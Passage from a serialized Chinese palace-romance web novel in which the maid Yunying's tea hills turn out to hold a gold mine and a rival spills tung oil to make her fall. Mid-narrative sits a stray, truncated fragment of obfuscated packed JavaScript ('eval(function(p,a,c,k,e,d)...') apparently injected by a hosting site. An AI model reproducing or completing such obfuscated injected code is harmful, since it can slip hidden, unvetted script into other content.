穗儿自然是以为,姑娘又和二爷闹别扭了。一时间她们心中就很急切,心说好不容易见一次面,姑娘倒是收一收小性,好好哄一哄二爷啊。再把二爷惹恼了,回头二爷寻木槿去,哭的不还是姑娘。 但姑娘的事儿,无论如何也轮不到他们来管,两个丫鬟也只能抿着嘴唇干着急。 不同于这两个丫鬟,随云和雷霆都是有功夫在身的,他们的听力呵视力,相较于普通人来说,自然也好上许多。 再加上他们的注意力一直在二爷身上,就注意到,二爷之前神色凝重的一直看着某处。 后来云莺也过去了,两人还围着那东西说了些什么。说过话后,脸色的面色更沉重了。 因为距离过远,随云和雷霆自然没听清楚,二人具体说了什么话,但看二爷将云莺递过去的一团黑色物体收在怀中,显然两人是有了意外的收获。 只是这在收货会是什么呢? 随云和雷霆的好奇没持续多久,因为二爷下了山后,就将两人叫到一侧,并将怀中那样东西就交给他们。 两人得知这可能是黄铜,而山上有可能有个黄铜矿,亦或者是金矿、银矿时,俱都头皮发麻。 雷霆还没什么,随云却是感觉整个人都要炸开了。 这时候他也忍不住怀疑,云莺上辈子莫不真是填上的西王母娘娘? 不然为何来了她的道场,云莺就接连遇到这么多幸运的事情。 先是茶山的火及 时被扑灭了,再是茶山上的矿石露出来了。 要知道,常顺经营这茶山可有一二十年了,而屋头山的百姓,更是世世代代就生活在这五座山附近。 可这么多年,这点矿物都没露出来,偏二爷和云莺上了一次山,就把这东西认出来了。 这其中固然有百姓愚昧,二爷博学的原因在,但云莺的运气,指定也在其中占据了绝大部分的功劳。 这原因,指定是西王母下凡没错了! 随云想七想八,二爷则将手又收了回来。 雷霆都伸手去接东西了,冷不防见二爷有此动作,雷霆傻眼了,“二爷,不用属下送了么?” “用。”二爷说,“把你的手帕拿出来,用你的手帕包吧。” 雷霆:“……” 雷霆多看了那帕子一眼,果然就看见在边角的位置上,绣了一个歪歪扭扭的“云”字。那这指定是云莺姑娘的帕子没错了。 二爷的举动这就有解释了。 雷霆木着脸,用自己的帕子包裹起矿石,然后与二爷行了礼,直接扭头牵了马回县城了。 至于随云…… 二爷问随云,“你在胡思乱想些什么?” 随云看看走远的雷霆,再看看近在咫尺的二爷。他咬咬牙,到底是将这一路上的事情说给了二爷听。 尤其说到西王母娘娘村的百姓对云莺的信奉,甚至已经到了盲目的地步,随云的声音开始沙哑。 说完这些,再说才茶山失火、暴雨及时降临,以及二爷和云莺好运的捡到了矿石这件事。随云硬着头皮问,“二爷,你说说,云莺姑娘到底是不是……” “不是!”二爷声音多了几分严厉,“不过以讹传讹罢了,你竟然也信上了。” “属下不想信的,实在是,太巧了。” 二爷:“再巧她也不是!这世上哪有什么神仙?若真有神仙,能忍心看世上百姓百般苦难?” “至于说她是西王母下凡,那更是无稽之谈。你见过那个神仙王母如她这般……” “这般怎样啊二爷?” “这般懒散。” 随云:“……” 这边两人又说了几句才走回来。 而此时,云莺正在与王叟说,暂时先不要上茶山,怕还有未熄灭的火种。另外,下了大雨,山上湿滑,若是滑到了人,她可不赔偿。 云莺说的这些禁止上山的理由,未免有些可笑了。 但王叟是老人精了,有些事情他看破不说破。 况且,这茶山本就是云莺的,当然她说什么就是什么了。 只是,“之前在茶山上做工的人怎么办呢?这几天也别上山么?” 云莺点点头,“都别上来了。这边刚下过雨,也不用浇水。况且茶叶正在生长期,也不用频繁的照看。” “行,那老汉就知道了。” “总之,一切就拜托给王伯了,您多费些心,之后我若买了更多山地种茶,也都交给你管理。” 王叟被投喂了一颗甜枣,笑眯眯的应下了此事。 二爷走过来了,云莺问他,“都安排好了么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说到西王母娘娘村时,云莺一语带过,只着重提及,穗儿的祖母做糯米饭是挺好吃的。只是那东西不好消化,她晚上翻来覆去一直休息不好。 二爷轻轻一笑,“是不消化才睡不着,还是去了新地方睡不好?” “两方面原因都有吧。”云莺含糊道:“我其实挺不喜欢频繁换地方的,每次换地方,都意味着我要有一段时日休息不好。休息不好我就很丧,整个人也 懒洋洋的不想搭理人。” “那南下这段路是怎么过来的?” “二爷说的是从京城到云归县这段路么?” “不然呢?” 云莺笑了笑,轻声说,“其实这段路走的而也很难。二爷也知道,我们从京城出发时,天气已经开始热了。越往南自然越热,为防万一,坐在马车中丁姑姑也不让我们掀开窗帘往外看。我们就闷得身上起痱子,人都快馊了。晚上到了落脚地还好一些,最起码可以换洗一下,也可以自在的活动活动腿脚。许是白天太劳累了,我那时候晚上休息的竟然还算不错。” 但也有一段时日,晚上她很焦灼,无论如何也睡着不觉。 那段时日就是她琢磨要逃跑,偏又跑不掉时。那时候,她人都快抑郁了。 云莺想起往事,忍不住竟笑了。 二爷问她,“想起什么好笑的事情了?” 云莺想了想,觉得那些事情,现在也没有瞒着二爷的必要了。 她就和二爷说,“我有段时间,天天睁眼到天亮。” 二爷看她,“你刚不是还说,因为白天辛苦,晚上睡得还不错?” “那是一开始。” 二爷恍然,“你的意思是,后来你就开始失眠了?因为越来越靠近岭南府了么?” “嗯。”云莺轻轻说,“我一开始会在长安侯府挑人时站出来,是因为那府里的管事不太好,几次三番算计我,我差点没了命。我人小力微,没本事将他们怎么样,只想着能尽快脱身就好。别管是去做妾,还是给人当美人,只要能暂时脱离那个虎狼窝,就比什么都强。” “我倒是如愿被选中了,要送我来岭南伺候二爷。可那时候,我没打算真走到岭南,我是打算中途跑了的。” 二爷哼笑,“你胆子倒是不小。后来呢,怎么没跑了?让我猜猜,是因为没有卖身契,怕被人抓回来是不是?” “也不止是因为这一个原因,还有,我貌美么,再来我也没有孤身在外边谋生的本事。别离了府里的护持,转身我就被人卖到什么腌臜地方去。我怕了,就不敢逃了。” 第110章 金矿 烈日炎炎,天气热的好似下火。 云莺坐在花厅中摇着折扇,就这还不断地出着薄汗。 秋宁坐在云莺旁边啃着果子,一边擦汗一边抱怨,“这云归县就是比不得京城。在京城就是咱们这些人,也能努努力,争取用个冰盆解解暑。到了这云归县可好,连二爷都用不上冰盆,咱们这些人更是只能跟着受热。” 云莺心不在焉的应一声,“不然怎么办?这边冬天又不下雪,自然没办法储存冰块。即便千里迢迢买来了冰,又大张旗鼓兴修了冰窖,可等到暑天,那冰窖里的冰也不剩多少了。” 秋宁也想到了云归县穷的叮当响,二爷更是连自己的私房都拿出来填补亏空了。指望二爷建冰窖……还是别想了。 连二爷都在忍耐暑热,他们也继续忍着吧。 秋宁摇头晃脑说,“太惨了,我真是太惨了。早知道,我当初真应该跟丁姑姑回京。” “先不说你能不能平安走到京城,就说到了京城,你以为你还能自己清清静静的住一个院子,还每天这么潇洒自在?秋宁,到底是在云归县好,还是回京好,我相信你比我更清楚。” 秋宁扁扁嘴,“我自然清楚,我这不就过过嘴瘾么,你干么那么凶我?话说回来,云莺你不对劲啊。你这几天都焦灼上火的厉害,脾气还这么大,怎么,你月事来了?” 云莺气噎,“什么月事,我月事还要好几天才来。” “不对吧。”秋宁掰着指头算,“我记得咱们俩的月事紧挨着,我的月事半个月前就过去了,你怎么还没来?” 秋宁突然想起一个可能来,眼睛都瞪大了,“云莺,你该不会是……怀上了吧?” 云莺一哆嗦,手里的扇子都落到地上去了。 她忙将扇子捡起来,还不忘嗔怒的瞪了秋宁一眼,“你才怀了。我都没有……哪来的怀?” “你没有什么?没喝避子汤么?对啊!正是因为你没喝避子汤,才可能怀孕!哎呦云莺,这次你可真是闷不吭声就干了件大事儿!不过算算时间也不短了,你都伺候二爷好几个月了,若是还怀不上,府里人就要说闲话了。” 云莺头疼的捂着额头,觉得自己浑身都是嘴,但她就是说不清。 她无力的冲秋宁摆摆手,“你走吧,快走吧,我看见你就头疼。” “怎么会头疼?怀孕了不该恶心呕吐么?头疼又是怎么回事儿?我没听说过怀孕还会头疼的啊……” 云莺无力的瘫在椅子上,正在此刻,穗儿急吼吼的从外边跑进来。 不等她开口说什么,秋宁已经先一步叫出声来,“穗儿快去请大夫来,你家姑娘怀上了。就是她不恶心呕吐,只感觉头疼。” 穗儿:“……”我也就出去了一会会儿,怎么感觉好像百八十年没看见我们姑娘了一样。 话说回来,姑娘和二爷都没同房,哪儿来的怀孕? 还是说,姑娘在书房中与二爷独处时,情难自禁之下与二爷试过了? 但姑娘怎么能瞒的这么好? 她和柳儿竟然一点也没看出来? 穗儿的震惊肉眼可见,她瞪着大眼,一双眼珠子都要掉出来了。 云莺见状,赶紧说,“你别听秋宁的,她胡说八道的。穗儿你急慌慌的过来做什么,是探听出来什么事儿了?” 穗儿这才想起,她确实有一件大事儿要与姑娘说。 至于姑娘是不是怀孕了……这事儿等过后再说。 穗儿就换上了一副惊喜过度的表情,“姑娘,你知道么,屋头山你买的那几座山,就那几座茶山,那下边竟然有铜矿!二爷将此事告知知府大人了,知府大人竟然亲自来我们云归县了。” 云莺直接从座位上站起身,“穗儿你说真的?” “可不是真的么姑娘。听说现在那几座茶山,都被官兵严严实实的围起来了。哎呀姑娘,我们云归县治下出铜矿了呢,这是不是二爷的政绩?还有,那几座茶山是姑娘的,官府要挖矿,是要给姑娘分成,还是高价从姑娘手中把那几座山买过去?还有还有,如果要挖矿的矿工,我们西王母娘娘村的人应该也能被选中吧?哎呀姑娘,我太惊喜了,这是多大的好事儿啊,这全都是拜姑娘所赐啊。” 穗儿已经激动的语无伦次了。 她激动的又蹦又跳,甚至开始拉扯自己的衣裳头发。 柳儿从门外进来了,穗儿还一把抱住了柳儿,整个一振奋过度的模样。 但不管是云莺还是秋宁,此刻都无暇说教她什么。 云莺心中忐忑纠结,又有一股尘埃落定的感觉。提了一个星期的心,此时微微往下放了放。 其实,屋头山有矿的事情,她早已经知道了。且她知道的内情更多一些——那并不是什么铜矿,而是货真价实的金矿! 是金矿啊! 虽然只有三座山的金矿,剩余两座山都是些伴生矿石,且提炼难度很大。但蚊子再小也是肉,再难提炼的矿石,那也是矿! 更别说,那金矿虽然存量有些小,但纯度很高,非常非常高! 想当初二爷告诉她这件事情时,她也激动的在二爷书房又蹦又跳,出了好大的窘状。 但二爷告 诉她,先别高兴的太早。 因为大夏朝有明文规定,矿藏一经发现,是要收归国有的。 这个收归国有有两层意思:其中一层针对的是无主的矿藏,那自然是要收归夏朝官府所有。 其二,就是矿藏所在地是有主的,那么有两种解决办法:一是官府从私人买主手中,购得这座矿山的所有权;再就是,官府与矿主分成。 二爷之前与云莺说过,究竟是购得所有权,还是分成,全看那矿藏值不值钱。若是小矿藏,没什么大价值,且矿主朝中有人,那官府也乐的在外边添加一层“仁义”的外衣,愿意与民分利。 若是矿场过大,利益过大,那么指定是前一种选择,就是官府从私人手中购得矿山,矿山的矿产以后统归官府所有。 当然,这个“购得”是强制性的,不管你私人矿主愿意不愿意,这件事都势在必行。区别只在于,若你积极主动,态度良好,官府会多给些银子;而若是消极抵抗,那得了,最后指不定连银子都懒得给你几两。 当然,这些事情现在和云莺并没有什么关系。 毕竟之前为防万一,几座茶山的地契上,写的是随云的名字。 随云是二爷的亲卫,若那几座山当真为他所有,值此关头,随云肯定是要直接将茶山无偿捐献,才更有利于二爷。 但茶山的实际买主是云莺,二爷就说了,会为她争取一个有利的价钱。但二爷也说了,若此事章知府直接拍板定案定下价钱,他也不好多争取;但若章知府肯来云归县一趟,价格就好谈了,指定会比预想中高许多,那笔银子,足够云莺舒舒坦坦过完一辈子。 如今听穗儿说,知府大人竟然真的急吼吼赶来了云归县,云莺一颗心顿时就定了。 但想到二爷的前程,想到当初买茶山时,随雨去府城帮她典当首饰头面还没回来,那茶山是她借了二爷的银子才买到了手。而茶山成了矿山,若无偿捐献肯定大大有利于二爷的政绩,云莺一颗心又忐忑纠结起来。 再说秋宁。 秋宁此刻就是一个大写的懵逼。 云莺买茶山了么? 这是什么时候发生的事情? 她怎么一点消息都没收到? 还有,她那几座茶山下竟然挖出了铜矿!二爷已经上报,且连知府大人都引来了!!! 啊啊啊啊,她每天都和云莺混在一起,云莺瞒的好严实啊! 秋宁疯狂摇着云莺,“云莺你运气好好啊!云莺你下次要买什么东西,你和我说,咱们两个一起买!云莺你是不是要发达?苟富贵勿相忘啊!” 云莺快被秋宁摇散架了,她扯着嗓子唤秋宁,“你冷静点!秋宁你松松手!” 秋宁终于松开了手,面上的表情还怔怔的,不住的嘟囔着,“云莺你运道多好啊!云莺你指定是天上的神仙投胎吧” 这话可算戳到穗儿的点了! 穗儿就疯狂点头! 看吧,窥破迷障看到真相的人又多了一个! 姑娘可不就是天上的西王母转世么,要不然,怎么会有这么大的好事儿等着她! 那矿石埋在地下可不是一天两天了,可包括屋头山的百姓,甚至包括茶山原先 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秋宁颤巍巍的挤过来,问了一句话,“云莺,那茶山真是你买的啊?你有那么多银子么?” 穗儿正想点头,云莺就说,“不是我买的,那茶山是随云买的。” “啊?”秋宁愣住,穗儿也愣住。 等缓过神,想起茶山的地契上,写的确实是随云的名字,穗儿慌了。 她想问云莺,随云不会贪墨了她的茶山吧? 若是贪墨了,姑娘该怎么办呢? 找二爷主持公道么? 二爷是会偏向从小跟自己一道长大的属下,还是会偏向姑娘? 穗儿心中一团乱麻。 就连柳儿,也捏紧了帕子,为云莺提着心。 云莺却和秋宁说了实话,“虽说是随云买的,但买茶山的银子,是我和二爷借的。” 秋宁摇摇手,“你等一下,让我先缓缓。” 好一会儿后,秋宁理顺了这其中的 关系,整个人就无语了。“你是说,你身上没钱,但你还想买茶山,所以你给二爷借了一笔银子?” 云莺点头,“是的。” “那笔银子你还上了么?” 云莺一愣,秋宁这次可问到点上了,“我还了,二爷没要。” “啊?” “啊?” “啊?” 这三声“啊”,出自同样惊愕的三个人。 秋宁、穗儿和柳儿,现在三脸懵逼。 懵逼过后,秋宁的双手都变沉重了,“先不说银子的事儿,只说茶山,茶山的地契上写的是随云的名字?” “是。” 秋宁指着云莺,“你的名字拿出手么?你怎么让官府的人写随云的名字呢?” 云莺看一眼秋宁,“你忘了么,我们是奴籍。我们的卖身契在二夫人的手上。按理奴婢名下不能有大笔私产,否则主人完全有理由没收。” 秋宁颤抖的手突然就不抖了。 云莺继续说,“我不想为他人作嫁衣裳。虽然不知道二夫人究竟是什么品性,但她那种世家贵女,咱们肯定得罪不起。也是以,我宁愿把地契写在随云的名下,也不愿意写在我自己的名下。” 云莺又说,“我现在倒是庆幸,我把地契写在随云名下了。” 不然,这茶山,也就是金矿的事儿,势必要让二夫人掺和进来。 那位二夫人,她在二爷身边从未听二爷与随云几人提过一言半语。 这正常么? 这肯定不正常。 所以,二爷与二夫人之间应该有龃龉在,且这龃龉还很深,更甚者两人相看两厌。 而从丁姑姑之前提起二夫人时,表情总是讳莫如深,以及瑞珠的一些言行过于跋扈和张狂,也可以窥出这位二夫人不是什么好性的主。 而她私心里,也不愿意二爷与二夫人的牵连更多。 说她虚伪也好,说她恶毒也罢,说她面上一套心里一套,她也承认。 可她就是不想让二爷与二夫人的牵绊变深,不想他们在她面前恩恩爱爱。 她变坏了。 她承认! 第111章 又使坏 秋宁失魂落魄的从云莺这里离开。 她的颓丧连云莺都看的出来,但是,事已至此,又能怎么样呢? 只能说得之我幸,失之我命罢了。 其实要说云莺心里不提心吊胆,那是不可能的。毕竟那是好大一笔钱财,若是一直和她没什么关系,她也就不惦记了。可这和她有很深的关联,甚至她触手可及,那她想要保持一颗平常心,就很难很难。 她毕竟是吃过苦的,也体会过一文钱难死英雄汉的窘迫。 她就想,若是真能落下一大笔银子,若是可以给她…… 但这些都是未知的,都是不确定的,只能等二爷回来了,再说这件事。 不过眼下还有另一件要紧的事儿要处理,那就是章知府亲自从岭南府来了云归县。 他们如今去屋头山了,可之后肯定会回县衙,云莺免不了要为招待章知府的事情忙碌一二。 云莺让厨下准备好了酒菜,甚至就连客院,都让人仔细清理了一遍,章知府的换洗衣衫,她也让人准备了两套新的。 忙完这些事,云莺就回后院了。 回去路上,云莺满脑袋想的都是金矿的事儿,也就没太关注路边的动静。 等她走远后,那些丫鬟婆子从树干背后,亦或是假山后转出来。 她们三五成群凑在一起叽叽喳喳。 “云莺姑娘当真怀孕了么?怎么一点都看不出来?这件事情确定是真的么?” “保准错不了。我去给云莺姑娘送洗干净的衣裳,结果还没进院门呢,就听秋宁姑娘在屋里叫了一声。秋宁姑娘与云莺姑娘最亲近,她都说云莺姑娘怀孕了,那这事儿指定错不了。” “算算日子,云莺姑娘是该怀孕了。二爷那么喜欢她,十天里最少让她留宿五天,云莺姑娘再不怀孕说不过去。” “也不知道云莺姑娘这一胎,是个儿子还是个姑娘。若是个儿子,这就是二爷的长子。虽然是庶长子,但只要二爷喜欢,以后就差不了,云莺姑娘也算站稳脚跟了。” “那云莺姑娘该升做妾室了吧?有了儿子傍身,云莺姑娘比那京城的原配也不差什么。她儿子有了,情分有了,以后和正室掰腕子都不带输的。” “快别说那些有的没的,好好当差是正经。以后对着云莺姑娘,可要更恭敬些才是。” 就在云莺没注意的境况下,流言肆意流窜开来。 也就是一个下午的时间,几乎整个县衙的人都知道,二爷最宠爱的云莺姑娘怀孕了! 云莺本人还不知道,她又荣登八卦榜榜首,且莫名其妙肚子大了。 她回了房间后,就磨了墨水,拿起小号的狼毫开始练字。 一开始她还有些心绪起伏,写的大字也差强人意。渐渐地,她心思沉浸在其中,人也平静下来,躁动的思绪再不见踪影。 夜幕来临,前院还没有动静。 云莺又等了等,直到将要就寝时,前院终于闹腾起来。 云莺丢下手中的茶盏,问穗儿,“是不是二爷回来了?” “姑娘您稍等等,我这就去前院看看。” 片刻后穗儿急慌慌的跑进来,“姑娘,二爷回来了,连带着知府大人,一道到了县衙,如今两人刚进大门。” 云莺闻言,忙不迭带上穗儿,两人一道往前院去。 因为走的急,也没注意看路,突然云莺脚下一歪,整个人直直的滑了出去。 “噗通”一声,云莺一屁股坐在了地上,摔得结结实实。 不仅是她,连带着穗儿也跟着滑飞了出去,两人先后摔倒在地上,撞成一团。 “哎呦”“哎呦”两声痛呼接连传来。 云莺做了那个垫背的,穗儿滑倒时虽然努力避开她,但倒下时,身体依旧控制不住的倒在了云莺身上。 她的头撞到了云莺的盆骨,“砰”一声钝响,穗儿被撞得头晕眼花,云莺则被磕的感觉骨头都碎裂了。 两人的痛呼声在寂静的夜里太明显了,很快就有守夜的婆子走了过来,就连附近的院门,都打开了两扇。 秋宁闻讯披头散发从自己院子里跑出来时,云莺还疼得起不来身。 她看见云莺疼得嘴唇惨白,额头冷汗直流,整个人都慌了。 她的双手举起来,又落下,落下,又举起来。完全手足无措,不知道该触碰云莺哪里。 “云莺你怎么样?你摔倒哪里了?哎呀你还怀着孕,你不会流产吧?来人,快去请大夫来,快去啊。” 有婆子闻言,站起身就要往外跑,云莺连忙伸出手将人拉住,“别去……别惊动人。” 秋宁横眉怒目,“都要出人命了,你还怕惊动人。云莺,你想死啊!” 云莺咬着牙,硬撑着说,“我没大事儿,你们都消停些,别惊动了贵客。章知府随二爷一道来了县衙,有什么事儿也先憋着,等送走贵客再说。” 周围一片倒吸气的声音,连带着秋宁都不敢逼逼叨了。 “是知府大人来了?那怎么办啊云莺?你还能起得来么?这样的贵客,你得去招待啊。你别看我,我害怕,我不想过去。” 身后的院门突然被人从里拉开了,露出了门后的木槿 来。 周围明亮的灯笼照耀下,木槿穿戴整齐,头上的首饰雅致端方。她面上还施了薄粉,优雅自在的就好像要出门游玩一样。 但这可不是白天,这是平日她们入寝的时间。 一个人在大晚上还收拾的这么体面,要说没有鬼谁信。 再看云莺摔倒的地方,可不就在木槿门前? 而木槿早不出来,晚不出来,偏偏在说去前院伺候的时候出来,这怎么看,都藏着猫腻。 连带着秋宁在内,诸人看过木槿,又忍不住看向云莺身下的地面。 果不其然,他们在地面上看见了一片明晃晃的油渍。 那是桐油吧? 秋宁一下扑过来,抓住木槿就要厮打。 如珠及时挡在木槿身前,将木槿挡了个严严实实。 秋宁低叫,“木槿,是你让人泼的桐油是不是?你算准了云莺会从这里过,你故意算计她摔倒,想顶替了她,在知府大人跟前露面对不对?不,不止如此,你肯定还连带着算计了云莺肚子中的孩子!木槿,你好毒的心,你这个蛇蝎毒妇!” “如珠,你松开我!但凡你还有一点良心,你就别挡在木槿面前替她出面!她这个人心思烂透了,她为出头不择手段,甚至连一个未出世的孩子都算计。你拦着我不让我打她,你这是为虎作伥!如珠,你爹若是知道你走到这步田地,气也要气死了。” 如珠是为了葬父,才自卖自身落到了人牙子手里。 丁姑姑知道此事后,觉得她孝心可嘉,就将她选到了府里伺候。可这如珠明知道木槿作恶,还选择袒护她,如珠分明就被木槿教坏了。 不,她指定早就学坏了。指不定这桐油还是她受了木槿的指使,泼在地上的呢。 先不说如珠面色如何难看,只说云莺在旁边的一些丫鬟婆子的搀扶下,终于站直了身。 她疼得浑身颤抖,尾椎骨都好似断了一样。 但她强忍着,依旧做出风淡云轻的模样来。 她看一眼木槿,“木槿,这桐油是你泼的么?” “不是啊。”木槿无辜的瞪着一双大眼,“才不是我,我没事儿在门前泼桐油做什么?我有那闲钱买桐油,我还不如买点脂粉装扮我自己。” “再说了,这桐油泼在我门口,要害的也是我吧。若不是云莺姐姐,碰巧踩了桐油摔了一跤给我提了醒,指不定明天就是我摔伤在这儿了。哎呦,云莺姐姐你如今管着事,你可得好好查一查,那背后弄鬼的究竟是谁,不然有这样的人在背地里藏着,我睡觉都不安心。” 云莺点点头,不理会木槿别的话,只明明白白告诉她,“我给过你机会了,你说不是你,那最好就不是你。否则让我查出来这件事儿和你有关……” 剩下的话云莺没说,可她那清幽发凉的眼神,却无端让木槿心口颤抖了一下。 木槿心虚的转开脸,不敢再看云莺。但很快,她又转回头,“姐姐只管查去,我身正不怕影子斜,才不怕姐姐查。只是姐姐如今受了伤,怕是没办法去二爷跟前伺候了。不如我……” “你给我死了这条心吧,我就是背,也要 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“别说傻话了,你也不是故意的。好了,咱们快些回去,我换好衣物还要去前院见二爷,去晚了小心二爷发火。” “好,好的。” 云莺与穗儿一行人走远了,秋宁却是没走的。 她披头散发,裹着她那凌乱的衣裳站在木槿门旁边,指挥着婆子们用荆棘将那泼了桐油的地方围起来。 一边指挥人做事,秋宁一边说,“一会儿传下去,就说,但凡谁能够给我提供泼油人的线索,回头云莺就会奖她十两,不,五十两银子!” “五十两?” “秋宁姑娘,您这话云莺姑娘认么?” “五十两都可以买我这样的丫鬟,买十个了!” “快去找找守门的婆子。那人要泼桐油,肯定要出门买,赶紧让婆子想想,最近这一个月,都有谁出过门。再去街上卖桐油的地方 问一问,看有没有咱们府里的丫鬟出去买桐油。” 人群叽叽喳喳,炸了锅似的闹腾开了。 秋宁看一眼黑着脸的木槿,“真是害人害己啊。” 木槿问,“秋宁你阴阳谁呢?” “谁害人我就阴阳谁了,木槿你不是说这事儿和你没关系,那你这么急着跳出来做什么?” “我不做什么,我就是单纯不喜欢你这阴阳怪气的语气。” “不喜欢你也憋着,嘴长在老娘身上,老娘想怎么说,就怎么说。” 秋宁拽的二五八万似的,还冷冷的斜了木槿一眼。 木槿呢,心里气的吐血。 她冷冷的哼了一句,“小人得志,我看你还能猖狂到什么时候!” 随即“砰”一声关上院门,身影消失在暗夜中。 房门关上了,但木槿的心却跳的更快了。 在她旁边,如珠捏紧了帕子,眼泪都从眼眶里滚出来了。 她急的跟热锅上的蚂蚁似的,“姑娘,怎么办呢?他们都说要去守门婆子那儿问了,还说要去街上卖桐油的地方查……” 木槿狠狠地瞪了她一眼,“他们要问就问,要查就查。你是趁着守门婆子出恭的时候偷溜出去的,整个府里除了我,没有第二个人知道你出去过。你买桐油,也是蒙着面支使了一个小孩儿去买的,那小孩儿不认识你,买桐油的店家自然更不可能认识你。如珠,你给我记好了,这件事跟我们没关系,我们什么都不知道,什么也别想推到我们头上。” 如珠期期艾艾,“姑娘,真的不会被查出来么?” “放心吧,肯定查不出来。即便,我是说万一,哪怕是万一查到了我门头上,只要你咬死了不承认,谁也拿我们没办法。” “真的么?” “真的!” 如珠依旧战战兢兢,木槿却顾不得她了。 她咬牙切齿的说,“她倒是好命,摔的那么狠,肚里的胎也没掉。” 如珠知道木槿说的是什么,可她不敢接嘴,只能咬着牙,继续惶恐着。 第112章 捐了 重新换了衣裳,等云莺再次走到木槿院门前时,那边的人已经散的差不多了。 但秋宁还在哪儿。 她亲自盯着人布置荆棘。 云莺见状,就让她先回去。 这边有婆子们盯着,不会有人破坏“犯罪现场”。 秋宁应了一声,睡眼惺忪的打了个大大的哈欠。 云莺都要从她跟前走过去了,秋宁突然想起她刚才说的大话,她忙不迭凑到云莺耳边小声问,“那五十两银子,你会出吧?先告诉你,我可没有五十两,你别指望我出这份钱。” 云莺:“……”她的感动不翼而飞。 “行,我出。别说五十两,一百两我都出。你快回去吧,看你眼睛都睁不开了。” “好的,那我真回去了。” “走吧,走吧。” 秋宁回去了,云莺也迈着脚步,匆匆的去了前院。 这么一通耽搁下来,等云莺到了前院时,时间已经很晚了。 好在雷霆今日是在府上的,云莺的一系列安排他也知情。 见云莺这么久没过来,雷霆已经先一步安排章知府去客院沐浴更衣。 二爷听人说云莺过来了,披散着湿漉漉的头发就出来了。 他穿着一身青色的常衫,一边擦两把头发,一边问云莺,“怎么这时候才过来?刚才已经歇下了么?” “没有,我想着您和章知府晚上指定会回来,就一直等着你们。” 二爷见她站着说话,就指指旁边的太师椅,“坐着吧,你不累么?” 云莺却摇摇头,“我觉得站着也挺好。” 二爷将正擦头发的动作一顿,继而,他将那张白色的帕子丢到一边去,明亮的双眸直勾勾的看向云莺,“说吧,出什么事儿了?” 云莺没想瞒着二爷那件事儿,但今天天实在太晚了,而二爷稍后还要陪章知府用膳。她不想这时候坏了二爷的心情,便准备明日再说。 云莺当下就道,“不是大事儿,等明日您得空了,我与您好好说。” 她说着就去捡那方擦头发的帕子。 二爷方才顺手一丢,帕子落在了太师椅的扶手上,但很快又滑落到地上。 但就是俯身捡拾东西的这个动作,却让云莺的尾椎骨一阵剧痛。她抑制不住的低呼一声,整个人顿在了原地。 二爷已经走到她跟前来。 他一双剑眉皱的紧紧的,凤眸中都多了许多暗色。 二爷看着她的盆骨,以及她的尾椎骨,片刻后克制的移开了视线,“怎么了?摔伤了么?在府里还能摔伤,你身边那两人是吃干饭的?” “不怪她们。” 云莺将帕子放在椅子上,让二爷坐在座位上,她替他把头发束起来。 二爷稍后还要陪章知府用膳,这样披头散发太失礼了。 二爷却不用她做这些,只说先晾着,稍后让随云过来束发即可。 二爷:“别转移话题,到底怎么回事儿,你仔细说说。” 云莺不着痕迹的揉了揉盆骨的位置,“是踩到了桐油,滑倒摔着了。” “桐油?”二爷立刻抓到关键点,“谁会在地上泼桐油?那人是有意害你?” “不确定。” 继而,云莺就将事情原原本本的说了一遍。 她还算平静,叙述此事时也不带什么异样的情绪。但二爷却气坏了,只说她,“都是你好脾气,惯得后院那些人不知道天高地厚。” 云莺愣住,“这怎么还是我的错了?” “不是你的错是谁的错?是你御下太慈和了,后院那些人才不怕你,这才敢作夭。换做丁姑姑是你,你觉得那些人敢蹙丁姑姑的眉头?” 那确实是不敢。 所以,问题难道真的出在她身上? 云莺陷入了自我怀疑中。 二爷已然喊了雷霆过来,“去后院查查云莺滑倒的事儿,重点查木槿。” 雷霆应了一声,很快下去了。 云莺没想到,事情很快进展到这个环节。她有些不好意思,说,“您都忙了一天了,我本来想着等明天,再请您派人去查。” “真到了明天,黄花菜都凉了。” 二爷说话硬巴巴的,语气也不太好。云莺知道他是气她不把自己当回事儿,心里暖洋洋的,也就不计较二爷阴阳怪气的语气了。 云莺又问起二爷,今天的行程可还算顺利? 二爷颔首,“还算顺利。屋头山已经戒严了,金矿定在年前挖掘。在挖矿之前,知府大人决定先拨一笔款项,把云归县通往屋头山的路修了。” “修路?”云莺一下振奋起来。 修路这事儿她真的心心念念了好久了,她对云归县的道路,也真的是到了深恶痛绝的地步。 “真的修路么二爷?是只修县城到屋头山的路,还是连带着县城周边的路也一起修了?” “还一起修?你以为府城有多少银子不成?府城也穷的很,这次拨给县里修路的银子,都是知府大人从牙缝里省出来的。这次只修县城到屋头山的路,至于其余的路,等有钱了咱们自己修。” “那咱们什么时候有钱?” 二爷说: “等金矿一开挖,咱们就有钱了。” 说到金矿开挖后有钱,免不得要说一说,金矿之后的归属,以及利益的分成。 二爷道:“你是茶山的主人,但你也知道,朝廷对待这种有主的矿藏,历来只有两种处置方式。” 云莺点头,“您和我说过的二爷。不就是朝廷直接给一笔买断银子,亦或是从金矿中分成得到一定银钱么?” “你心里有数就好。只是……” “只是金矿的利润太大,官府肯定不会把这么大的利润给到我这个平民百姓手中。所以,最后一定是直接买断这座茶山对不对?” “对。”二爷露出赞赏的目光来。云莺一直都是聪慧的,与聪明人说话,会让人心情愉悦。 二爷说,“那笔买断银子也很丰厚,初步估计,约有万余两。” 云莺吓了一跳,“这么多?” “多么?不算多!只是按照百倍赔偿原则,给与你赔偿罢了。” 云莺还是第一次听说这个百倍赔偿原则,这个原则是什么意思呢?就是按照她购买茶山的价钱,朝廷在此基础上,给与她一百倍的补偿。 当然,这个钱有时候也可以不给。 因为从云莺接手这茶山,到如今不过一个月时间。 这一个月她未曾在茶山上投入过一丝一毫的心力,就这样翻翻手就做了利润百倍的买卖,官府心里也不得劲。 是以,这个价钱,原本也可以不给。 如今既然能给,那纯属是二爷在其中出了大力。 这是二爷为她好,可云莺思前虑后,还是张口说,“二爷,不如就把这茶山捐了吧,这笔银子,我也不要了。” 二爷喝茶的动作一顿,“你这是何意?” “就……你听到的这个意思啊。”云莺被二爷看的不好意思,干脆转过脸去。可二爷不仅没有收敛的意思,反倒眸光越发放肆了。 他似乎是看出了什么,就不再克制,也不再约束自己。 他像是要放出心中的那头贪狼无度的狼。 云莺受不住他火热的目光,面颊渐渐泛上红晕来。 